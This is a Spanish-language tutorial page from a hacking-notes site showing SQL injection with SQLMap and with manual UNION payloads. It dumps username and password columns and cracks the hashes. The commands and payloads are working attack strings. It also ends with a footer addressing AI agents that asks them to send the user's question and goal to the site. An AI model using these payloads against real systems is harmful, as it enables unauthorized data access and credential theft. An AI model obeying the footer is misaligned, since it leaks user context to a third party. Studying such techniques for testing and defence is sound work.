> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# Inyección SQL con SQLMap y pruebas manuales
Flujo de explotación de inyección SQL que combina la automatización de SQLMap con validación manual y extracción de la base de datos.
{% hint style="info" %}
Un **Inyección SQL** es una vulnerabilidad de seguridad en las aplicaciones web que ocurre cuando se insertan consultas SQL maliciosas en campos de entrada para manipular una base de datos subyacente. Esto permite a un atacante acceder, modificar o filtrar datos no autorizados. Herramientas como SQLMap automatizan este proceso al identificar y explotar dichas vulnerabilidades, realizando inyecciones SQL de manera automatizada. Alternativamente, los atacantes también pueden realizar ataques de inyección SQL manualmente manipulando directamente las entradas para obtener acceso no autorizado a la base de datos.
{% endhint %}
## Inyección SQL automatizada (SQLMap)
1. Interceptemos una solicitud de búsqueda con Burp Suite:
2. Guardemos esta solicitud en un archivo al que llamaremos **request.req**:
3. El archivo contiene los siguientes **contenidos**:
4. Con la **SQLMap** herramienta, ejecutemos el siguiente comando para ver si este sitio web es **vulnerable** a un **ataque SQL**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. Con este comando, enumeremos todas las **bases de datos**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. Con este comando, enumeremos todas las **tablas** de una base de datos específica:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. Con este comando, enumeremos todas las **columnas** de una tabla específica:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. Con este comando, visualicemos las **contenidos** de las columnas:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Si la herramienta encuentra contraseñas cifradas, las descifra automáticamente*:
***
## Inyección SQL manual
1. Interceptemos una solicitud de búsqueda con Burp Suite:
2. Envía esta solicitud a **Repeater**:
3. En el **searchitem** campo de búsqueda, añade esto:
```bash
test' order by 100-- -
```
4. El servidor web nos dice que hay **no tantas columnas**:
5. Probemos **hasta que no quede nada** (en este caso, hay 5 columnas):
6. Ahora sabemos que hay **hay 5 columnas**, ahora con la **unión** función, vamos a **visualizarlas** las:
```arduino
test' union select 1,2,3,4,5-- -
```
* En caso de **cambiar el nombre** de la 3.ª columna, por ejemplo "test", también **cambiará**:
7. Esto significa que si introducimos la **database()** o **user()** función, el **nombre de la base de datos** o el **nombre de usuario que ejecuta la base de datos** se mostrará:
**A CONTINUACIÓN SE MUESTRA EL PROCEDIMIENTO PARA LISTAR MANUALMENTE:**
1. Enumeremos todas las **bases de datos**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Enumeremos todas las **tablas** de una base de datos específica:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Enumeremos todas las **columnas** de una tabla específica:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Visualicemos las **contenidos de las columnas de nombre de usuario y contraseña** (en este caso, usamos las columnas "product name" y "product type"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Enumeremos los **contenidos de las columnas de nombre de usuario y contraseña** de nuevo:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Copiemos el contenido** a la sección Pretty de Burp Suite:
6. Abramos el **Nvim** editor de texto y peguemos el texto copiado, luego usa este comando para formatearlo correctamente: `:%s/,//r/g`
7. Con este comando, conservemos solo los hashes y cópialos al **portapapeles**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Finalmente, con el [sitio web de Hashes.com](https://hashes.com/en/decrypt/hash) obtén las contraseñas en **texto plano**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
